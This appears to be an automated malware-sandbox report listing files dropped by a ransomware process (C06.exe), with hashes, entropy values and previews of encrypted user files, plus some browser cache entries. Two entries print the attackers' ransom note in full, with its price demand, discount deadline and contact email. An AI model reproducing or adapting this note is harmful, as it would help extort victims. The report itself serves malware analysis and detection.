Preview:	YPSIA..PqhzTq,..`[..n.......(...r\...v.....g./.".v......t.m.(?XV.G.<.g.{.=m>@/o.t...j...:joj....Q.$U4..C..u\$....].\|.B.h..bX..,..5...p.}.+../._^...U./\ ....f....j.A..])..."..Y..Q~,...h.7..T....V._.@..#..;.C8.2...Y...xH.......gO"..^....."..c_@...\|gr..z.X..i.Q...<AR\03..:y..Jkh]5t..c...h.Cd.e5#.a.Z<.,8iR............t.....L.k......q.'}~!.#e.C.....0.._......6X...T."ac.G..ojP....;.i.g..x2...GY....\.V.n..~.Jr..N4I...\|..1=.vx.>.......(..)VH0....q.}w..p.Ig..yt..<.xU.,.{.Y%.TN":1J.].I...z.........4]ce}w.q..2.i..;S...?..4 . .....x.T..@...8.).5.H...,....`.\|.<...m/. .Vl3.cN+......~.F.Xw.o5. Z.....E...&Z..).F[.U;..$.Qu.X.P9]Wy....tnKzY.j".W.!4v..e..._....B..H]...?.P.#{Sb....%.ZDe........"..Z....6.W.F.N..Wr.^.\MZP.0M\.C.,e.a..%.F# .dO,e...$..,Nd.........r.,U.^].p.tn.....cKY`2@."h..=k.(..E0....<P......Gz..#.x.....o0..04V:!m.H.x.0.U.>"..Dt..L.{...m._..[.........<M....@.Y<.+.B%..I.y...Q....t.......$..3...3;.8m$.E..Z.R..u....n.&[d.'Fy..a.E.t..~p..._.I..

C:\Users\user\Downloads\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854419117602592
Encrypted:	false
SSDEEP:	24:yRp2wI+rs1BlEdqkM94LguI6LagWuvdpGw3cuowaB1vWTwFsRe+dyPa8bD:y6w1szlyqaMH65ZvdP0B9WHe+dyPaWD
MD5:	F6E2AC2D57431B1B27EB697811CE9DDA
SHA1:	7D4D8D154E65E93735B0D9EBFA1D3E87DDBC38EF
SHA-256:	495A6958EE63C555D23413659D83CD440E1DE8AB3CE8B455318DC58ECE0DED34
SHA-512:	77FD25C755783786AF9009B845D316D6169FB2E4AAB9BDBD43DE8AED41A453301815A4C35C9F352467768BDEBFDC0765E931E4A5204A6CDCF5822220775D0A80
Malicious:	false
Reputation:	unknown
Preview:	YPSIAH.\"....V..i...A........0...../Y. ._./&.!.].1.Zp....]....$...4..T.h..#...y...{...{...........3q.29..~C$...QC.R.,DtPu.......r.Y\.Z<.b..Sj.w......p{:..>.C.e>.-.6.sn]Xj...p....E...<..x...i-:>a..".7"z.T....{..H...\t?...6....`[ .=....Q...,T.o9.3.?..%1..S..g......k...m...i:......0.C..=.a$.e\|<_....7...]..(....?...U.w.5....}w..o..$.NX..{:./...m...1gQ.Ln`..uH)%.......Nd.`..$...s^.sw....%...$m..F... ;...h....b...J....".i..]._r4.P....1[..6-..Z&a.s.,.Y..^.G.w.?.S... ...%B.)~..L...>..9'..Qz:.l.....xM.e..k.f.I.;..\|.....g....6ng..3....3...#-.._@,.-...3.h&.-.>..&...'.r.........^..I...c.....If8O.:..WV...I........b.$$...o............mIa._.p.... ...1.5.N.wE.....'.>.[..aa....P.(xp..;.2"....3<_....E..X.Y!^?..........`N....../y...>..2.u.[......uu..s..@....).;.!..g.v.v...Q.../...U.j.z.......m... .M...~.....b.....W.8..5rW.....E.Nb.+...S.z.4r.z-.*.?./.G6>h..u.QB....Q..^I..7..1............Z.s.....I.....ve..yv.....7Y..V .Q........n..>,.E...a.e...>7

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.39220684553762
Encrypted:	false
SSDEEP:	12:secPiOYgaGzEnZPx4/eUbPmfsuXqdcii9a:s9sSEY/epsugbD
MD5:	0DEB9D13EE7731623B11A0CADF6F9A39
SHA1:	9F924D21F4B21CF672F35EA1E6186DA145E722D2
SHA-256:	5303C9F33EAABDF0408E8891833A5011CA135B8E6F3CE927D837DACC88398136
SHA-512:	FA6F29370AA35D9D5F9816A75A0C4AB71E1D99BB484200AC6177C249B0CBBB84F1D0EA41CA42766990535AB502BF1110454070FF3BB4196F203C0A56EC1D661C
Malicious:	false
Reputation:	unknown
Preview:	[{000:\|.1y..".:P.lf....iw.;8.>>F..-00.U.K_P.....p....~.j...(..:S .).h...9.^....Z.>...z1EE....=.l..'mf.Kp.H..;....0.J....R...s.h.Z\.lT....aS1.Q.Sv..j..\|auAo..n0t.....[r.G9-...!..4...6#....{.....x...R.JFcy..3.IC..W..<..8.~7^.........h.W5..<...6....2.........r..Z...?....n.....qbJ..t3..".<f......@.W....g...5.......eq.}..S.{..;.k...P...p..?..P...:..^..9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.570081759658061
Encrypted:	false
SSDEEP:	12:Hvjmu3DC4YEoxrEiLp3RFHKGD2m/4kGcX7l92Lqdcii9a:7msUlE2uGDD5Gm7728bD
MD5:	F96728AA40EFCBD69F59C72695E35BF6
SHA1:	1A8E6A3632B753EF04F38544230ECFC3A728F187
SHA-256:	DEDD08FD2031746AD92E16E11CE0BCB9139B90C31D1467A2FB15839A1BA58087
SHA-512:	2BD494C0C36098D2257F6426D587E1254B92FCF42C4E178DA13BB04E9E92CD6E597953895D12D28F7050802F7B5EA50FF7C8257ABA760E9B47CA5F94364D6EE8
Malicious:	false
Reputation:	unknown
Preview:	[{000Zl9..c..ZH..8?.r.Y...m>...$.......+bnFi.t.3..w.M.A.&.>..6.i.^...s...t..x).+.f)1.>.C.m"eq...X7i.-4.F..=..>.".gw..[..[........"...:.+.%'&(w..t.g..X...._...6..G.".7M4.i]..DD.,........,.......3......m...m.-.S{!j..Bm....tb...C..y..N4.A.j...M.h..@......N.f...(J...+...}.q..P^........+/...,v.sAl..c..\|...F4FX..]7... ...C....5......l..47.\...;N....qI.~...K...4...[8.k..P.\|o..<>/.:...x.X..@.l.(..C>U.Q.di..#/..^T$..Y`3.Z.......!s.U.b.y.?/S.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.3557931092716
Encrypted:	false
SSDEEP:	12:g60BInV8WCBdEAqJNbGhbftGKGeQkLqdcii9a:g6UIn32dnMVqbftGDbbD
MD5:	7B0B5AC802BC493D567DCE370059EA49
SHA1:	BD4355E86949C653CAF9E64B7BFF1D90B36F2340
SHA-256:	2800B3FFE5283CFD80AACDD1DF8EA63DBC1655E60F1866ABAA781D5C487C8339
SHA-512:	F59F85FAF6FB94C5E8547583082B3C747F0234788584C06ECB464F31A1C6B49A4F4B3F856C17130C332F353253C21A29903518C46386AF7B6255962887780544
Malicious:	false
Reputation:	unknown
Preview:	[{000...q.@u..lm.v...-8.J...4u...u2...>..:^[S`.........m.%......4..H.Dl......4..E............:Y..h@^..0..-...eH&........8.W..}vP.6..\|...G.B.k...8.\|.....{${.k..M.8Qvw8$.\.....[..C....$8.:..}..E.$83o..}.ej.W..T....?......[..[..s.V..W..+,z..e......Z...:.-.J..../..9.......X....&)ao.4.V..A..b..bH.T.:....`...C..ZaFK....ZNk..A.4G97..%.}..V.>.....yBU..t.7.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.395613886878164
Encrypted:	false
SSDEEP:	12:1KxOq51Rxf9fIcYoHn0/a/ha89KPPqdcii9a:NGxf9AvoUGFRbD
MD5:	A705B3A7CFE327C760CFC1D0574490E3
SHA1:	5A079BC4AB5762246B71C2EC35674FCF1AB37685
SHA-256:	6DC0DE0D47A04A7DC2987D6F181B5353F7466677BF36DF8D6647D0C34351F065
SHA-512:	BE38C5B9F8294497041232FB45C45C762C8C4E10DFE3793E1502A9E532CAAED0AD987B688C3A0F781A1820AD583138C0A739B9ECA0724A7D2CB78A5A0E2FA6FE
Malicious:	false
Reputation:	unknown
Preview:	[{000..Jlq.<.E.*Dd..;".T2.@.....}.?0d..ES.bk.It2.n.G).U..h....DG.....B{O:....a..]Qr...KF.s...9.M-.15..6..b.?C!u.k.7o.7..W.Shj.1Px1..v.F..aN..oA...g..4....jM........k....z..3UR..SH.....i.....E;....1..<.C..p....P..l.)..........[.Z!.X..r.n...(.."..f49+.f....4.(l....<.....V\.q.(.....b.0+x1>.{.... .(j....N.6.?.p.<X.....d..~.3..P...!..s.....j}3&.D_9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.411394444043936
Encrypted:	false
SSDEEP:	6:JJHUqDMOb9x+1xZjILccdWzhgdRaeKu2C08X3KzvkHnhy7lss8CUBay5DoYbUt+X:JbUI7ENgdRagP3gvks72CaHDoqdcii9a
MD5:	49619B7A8A1E736962B96E75198BBE8F
SHA1:	E68A8182C1317D05216979676863B8246EE43F68
SHA-256:	46AF644CFA7AFB7BBB25D888AF222ABBA07A2B99645E3C4991C45128D24DD225
SHA-512:	24418E462FD019AE2FAE621B1BBEE56085A493978A2D661DE9EF3B9A57B406A953485771DB6757A673F9252C4B6AEDBF9CAE86C83FE3C5BCFAD99F9296C246F5
Malicious:	false
Reputation:	unknown
Preview:	[{000OI.J.[.....}"...e..+.<lk.....m/@......TA`......_..^...D...+.D...R..T..P`z..C...........].D.M.#x.%...;.-j.z..........^...B..s....7...7.7.7..4%..O.9..z.p..^..E....!^..n.m....}.....=4.#WN.....\`=l?..4....\|5.......QR.\|..+.,.^M,L\|.,.N.T.y... LH...A6d.kd...N....xTk.W0M.....T..?.9.d.]T.`.'s.~\|...5l3>....f..D..a_...u..i....h.....E..n c$.+.?.ys.l..9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.397137515211605
Encrypted:	false
SSDEEP:	12:FvORr1qhW1ezuTcosfRwc64nHFO4LSwqdcii9a:1thgezuTZsfqSHFOYUbD
MD5:	46B2B337C4D9F9215E9D224B1FA595A3
SHA1:	9B757A65335BE68DACA9EADFDF5A52746B21C784
SHA-256:	93C6CF83275B84672FEC463F39DC089AE85FD6669C2CD682CBC54644545C5D8A
SHA-512:	24C0DCF3FB0B6BA865FD79F0D7EE9A0DCB7F4FCC2E2985D2BA85DBD2B8B9D0F0B2F8798C2A88044AED834770F2423F6EE37BFDCC43575866380727A4C5C08B37
Malicious:	false
Reputation:	unknown
Preview:	[{000...$h:..X.^...0.u9@..?r<........K...j..%..#7.d5V......k.....N`9.......C>c....c.z].....J.F._.kw.W....G......Rt.....8..Q.`..y...@^*.S>..2....=u.]m..$0..hN..E~.G........B...!7.V_......n'.e.......C.../E.M....E.1.....t.lB!..d.\|.>..........T.m.w{q.\|.j.P...M.Ze7....g.65.......B..)Z..SS.5c-...j5.b>..........GT...5.G&..Z.{o=.1....>..`.h.4........+.@9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.3649004107311855
Encrypted:	false
SSDEEP:	12:1hl5z2wQSWxJmZaCQ03YJ7wTwz4A5qdcii9a:1hTyw5WxQI607NzwbD
MD5:	98DCFDBD05243361F8D4BB28B2E4E022
SHA1:	F1F1787D61A75FF85FA57CACA52E76EE78D95934
SHA-256:	EE064BEA73A51F846F3A90BC131880AA8089507904C419A13BB4C3972BFD04B2
SHA-512:	296128B5F4169C7982E80D39CA2B66B96919F1B7D4914A718DEBEFC4C85DCDDD8755094BF7884D740B3220303C01002EBC51AB844483969789F88879A04D49D1
Malicious:	false
Reputation:	unknown
Preview:	[{000b.)..!.l..^.B..2s&.=.9..~..D..q.}a.}.vbb.'.t.I..z3.f..'...............0e......m...[.w.c..hz.1<n....\s...To....U..P.k.r..6.2}.-K..F8A..DEW.Z)A...b9...9.........3l&=.4.i...X.............VrBB...T..../,J]],.b.~...Ez...W.xu.-.A...SO.2..N..4K.\...O$b...!....q.-..L...!ib...E\.16.u0.."...OK..Q.Z.......W.#..].1...>U..\|V5^j..K...H.L..F5.X.~.g.5..8...[.<.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.431417747672097
Encrypted:	false
SSDEEP:	12:33GnAj+mcr3Ki1V16+gtOgytIz06fGbGHozjmPaqdcii9a:32nACN3KqVW00GSH1PVbD
MD5:	C0E2A419FEF64906B472287EBE072060
SHA1:	4508E1A53897AE143533353A243EB1FBE1C2DBE8
SHA-256:	AED8506D6EF61D161D6F0B8626569C85064CF27B88C81BF91BC6663AF7EB80AC
SHA-512:	FFABAA60C967C942ED314867A76176DE84411FB928D3F4C6FE001C501A95B92FB92F18BDEBA984CC8B21348683EA8493C37DD6839DAB73110C526608EA758F7B
Malicious:	false
Reputation:	unknown
Preview:	[{000....64?..Y..RG.......L.....8....y;c.x&+c..#..k...9 t P.@Y;?...v...E...u..R..06.R.l.......I.:.L.@.5....'Au.%..w..[.O..D..r}...X_....YY..j.mC..{V..+..{..(.=.....&:.....c>.,....A.u;fe=6.....PM.Z......~et.h>...&.....'..rL]LLN.F...{...\|M.x..)p.....h..lTl...i..U..v^n..Q0.=S...W..)G$a..:Y...'4\..I..%.W! .?..;M....?.W7h&e1...Z..~i........a_../.....#.G.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.491445997479945
Encrypted:	false
SSDEEP:	12:MiO+TrnesQ2cH7c6VCz4k01xZtVAv8UOqdcii9a:MSTSslEhVCzgZJubD
MD5:	807FBE3DFBB1C1085EA2327E3A9C33E0
SHA1:	6C3E330AB8C3A4912D90F43D55CA7897EDD6CD05
SHA-256:	70F20AF4526A99418317E13036C47931145C04D08C60E756BD23F0040438AB5F
SHA-512:	45AB2D2C98A4C5C7733917468DE4219DB7007B4B9A4C4E4BA950E224818680B1E78EA5C022FD5150BA93B6D83578F6FEB9277F468991597CA6D5E160B4DA2BF7
Malicious:	false
Reputation:	unknown
Preview:	[{000.`..O.(X..er\|.I.....4,8??~....<.......}O...0.......n.......J}......_.......>.!.v...vdE..,T<....\.....Q@yR.[.j.m.9..........o].....#..K..]..w.'.._.Y.....smh....'.l....{.H`%.jz...@.{.-F...d.............r.....U...S.2..(..RrK....d<v.b..D.K...yN.....i.#.o.0.......h...0Cg...Nn.W.{..SW./S..J}...{W.k...P..}.+BZv.m.'_I.\|..."..L.%.p.X.LX....+...o.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.523056235123393
Encrypted:	false
SSDEEP:	12:9egdq7UltNi7HEzik4lAyn7yP2rYqdcii9a:9eWAUltQbaikk7y+bbD
MD5:	6036D51E64A2EBEC0DAB3FF1A6EAC4ED
SHA1:	6B38A33BAD6A8906C5304E1F21C07473795B77A0
SHA-256:	CECA0B1243B1BF03482672B3A8C85E46C0E283ABCCADD4B3A2D22C6EE729C249
SHA-512:	423FD797C2A9C9D6A257FA5F2E5CDF7EF89E313C48DC4F6F5A08C25117AAD01071AAECD4C4130EFAFDACFA0EB558AAF48EBC96B7CBFCEE8F4EFE4834EBC2863E
Malicious:	false
Reputation:	unknown
Preview:	[{000.m#4...!..t......h/..J....^Bn'z5.tW\|..;............4...\|.gC.e....r...J.:/...$..B_....i.(....j....R..p.p.%?..%...,..=........$..:.E..}Z`........jx#..2...=KP.I'......Q.`.......D..q.....`......M%qU.@...2...\..V8...r...T..T\....<..:....f.....`3.F.....&<.^;o..7....1.......Pb@.... .[..I{..~./&.M..?....u...x.......w..=S.7.R..*o...=..>..9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.835601199498914
Encrypted:	false
SSDEEP:	24:8nYZ3l0TG1aAg3klUA3qiiAi3yXnVUURhVQhtgICIeTsIv8GY2Qbmi+crQbD:rZ4KaiUuqiiAerhOb7YjTOD
MD5:	5AEFE5625FFA9A7C11A637B8052D0512
SHA1:	C0C1D6F5BAB78394BDDAA5705D7AC9FD4DCDD027
SHA-256:	F0A016691A0D1385CC4DEA307F38668C30CF926B0FAF5F4A0D5B73A0075C8A09
SHA-512:	322CA3ED6FE98A65B86D7C9E100D4480B892D4BA568FE8A3B4C2D12A1492B698F8CBBF181AC99EF8B9B767D8E67456DA542B38B1F7AD99CA0D3CD3F42263C8F5
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....B`......3...{.1.......^...se....)..H.._.....0..=.NF.^..w...b.P..w....:..$.6...Lu.LQ...>....".....U.#.. Ja.......D}$1k..@!.Gv;V..ig.I:.....+Z.fu*.2.uu.:G.........r.8.,....`N.........@.LHu.N{....-t7.@...u...Kp..u..^Y..%.hlAg.J`z2(e..c. ..y?....Ph..v...2.9.28cM...\..........S...+..e[/Y<....X.......... 6.._[.h...W......s.-.n.....=.JF.2aU%#L2.e..S..S.=.....X.g..?.L_.u....[d2...D'].p..q....U....r..+;..]Yy.......<6s..'/.4D..&%%.....Ya....#i..6.lf8.k......a.%.6.1.U..Q.......Kf.5..Z.EPU~..<......sn..7D8..;.....2.w..}..7.D!.../.+R.Ds.C._.i&w...G.$u.~p..=?.W..d.x.v....3-..5.... ..$r...E.&...?f/...7H^Q"....y....hC.t.8....L..0.....1.D"lY{p..t..c....U....q..>.Ti.Y..\|t..zI.$b..N.ro&..M.t..5pB...2F........1g.2.N..-......d..).6...O..E]pE..aZ..a...A]0.pB......W5{4.Gr...........S......J2.u....Xs....:.....eyC.Q.r.!..X...Yz.....B...\|...~......}y..`..6..d;...tCL .....*.YT.o%......Hf.%..<.A\|.@F..e..\|...~...G...;}..{B..h..^Xm.^W2.".U..0......F..;c...VD.9h

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.870051960094775
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWyrmFRqrl3W4kA+GT/kF5M2/kLw3KTJRI6:WZHfv0p6WyrPFWrDGT0f/krbI6
MD5:	C177C3060F528DBE3ADA165FB76D432C
SHA1:	4FD495E9F573E0C392EC18A5B94D85D105E32C00
SHA-256:	0549A937A10FCF616CDDDFC2A044E8701A6ED5CC69D492A77ACC047914A3E0BF
SHA-512:	207E965F3D5B83C2C362E67F1272D63F6CF2DC125990C81C5157488B7E4C3874E2272B184C43B61039D51946B864AE43B5CBA513E1A87E495889ADB1CCC489C8
Malicious:	true
Reputation:	unknown
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-xN3VuzQl0a..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

C:\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.870051960094775
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWyrmFRqrl3W4kA+GT/kF5M2/kLw3KTJRI6:WZHfv0p6WyrPFWrDGT0f/krbI6
MD5:	C177C3060F528DBE3ADA165FB76D432C
SHA1:	4FD495E9F573E0C392EC18A5B94D85D105E32C00
SHA-256:	0549A937A10FCF616CDDDFC2A044E8701A6ED5CC69D492A77ACC047914A3E0BF
SHA-512:	207E965F3D5B83C2C362E67F1272D63F6CF2DC125990C81C5157488B7E4C3874E2272B184C43B61039D51946B864AE43B5CBA513E1A87E495889ADB1CCC489C8
Malicious:	true
Reputation:	unknown
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-xN3VuzQl0a..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (781)
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	5.13833681373821
Encrypted:	false
SSDEEP:	24:MKBrkmeRBHslgT9lCuABuoB7HHHHHHHYqmffffffo:nrkmeRKlgZ01BuSEqmffffffo
MD5:	C507FF99E7A07E130FEAF21E085F9C18
SHA1:	AE2D08F4BCE9B9EAEA243454F12D45FD5C278AD3
SHA-256:	A4940707F46D5FDC07881A0EE5053B06D4F227954AF1012C1F3BEC3626014407
SHA-512:	0E65DB10A7924163584C1DF95BF2AAF243CB6DA201A3EF820B588F4B777C7FDD6DEDDDAF4C390AE4C3D572101AB92A6B4F6B08846B3DAF0088B6853EDF06E1B6
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["philadelphia phillies atlanta braves","chicago bears minnesota vikings","annular solar eclipse","best buy physical media 2024","london luton airport fire","florida tornadoes","bwi marshall airport","october 12 final jeopardy"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.8054173408852705
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWtXs1blEXsLqo40RWUnYN:VKEctKonR3evtTA8i1ScLrwUnG
MD5:	6EBA37B6375881721E086F90566D89C6
SHA1:	0BFC6A7482483269ED4CCC4B8486D4E150958575
SHA-256:	669127738C04B1074B227AD5BF263C92522B37DCAA62DAE7D46F2E8C6FC38EBA
SHA-512:	AD9ACABB1C73BFB14A397338FE67F07CAEDB6C6DF73F5133315DD908E621ECAA3DA91B708E15D66B2278145CD9493F02D30C901E258D5251ECE9346FDF6BC8DF
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-lwJiw+OT2isqLl772nPjNV34ltQfNiSOLIjtbaIB

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (621)
Category:	downloaded
Size (bytes):	475029
Entropy (8bit):	5.690672194438732
Encrypted:	false
SSDEEP:	6144:TWhcrarjmmhsWrfMw4lZuoTalhRVEIOjBfuMebPcbpGFW:PaL14lLalhAIMfuvPWV
MD5:	D0F24857A83615487E11B16804AB8829
SHA1:	3007FC0BFD11D1A3DE214C780F62E1C429208002
SHA-256:	B1A65063717196413801187164CAD067A3C8B3F1C8D7CF768DE32D1230ECDF3C
SHA-512:	A33751CF503270ADB7DED0E3A8F1E35327FB4799BFB8C5A94235E012F5336E8A333912C36BFB43EA34985A979C118AEC092D7BDC5C37199D2BED963B90BB3FBA
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0./.var S=function(){return[function(P,l,f,U,Q,Y,h,d,k){if((d=["X","innerHTML",3],1==(P>>2&7))&&(U=e[40](18,f),Pf&&void 0!==l.cssText?l.cssText=U:b.trustedTypes?S[10](30,U,l):l[d[1]]=U),1==(P>>1&11)){if(f.size!=f[d[0]].length){for(U=h=l;h<f[d[0]].length;)Y=f[d[0]][h],w[16](1,f.Z,Y)&&(f[d[0]][U++]=Y),h++;f[d[0]].length=U}if(f.size!=f[d[0]].length){for(h=(Q={},l),U=l;h<f[d[0]].length;)Y=f[d[0]][h],w[16](2,Q,Y)\|\|(f[d[0]][U++]=Y,Q[Y]=1),h++;f[d[0]].length=U}}return 1==(P\|6)>>d[2]&&(this.errorCode=l),k},function(P,.l,f,U,Q,Y,h,d,k,N,L,G,y,O,M,n,T,q,W,m,c){if((P+6&58)>=((P&(4>((P^77)&(((c=[12,"toString","S$"],P+7>>1)>=P&&(P+5&51)<P&&(W=[null,"v"

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
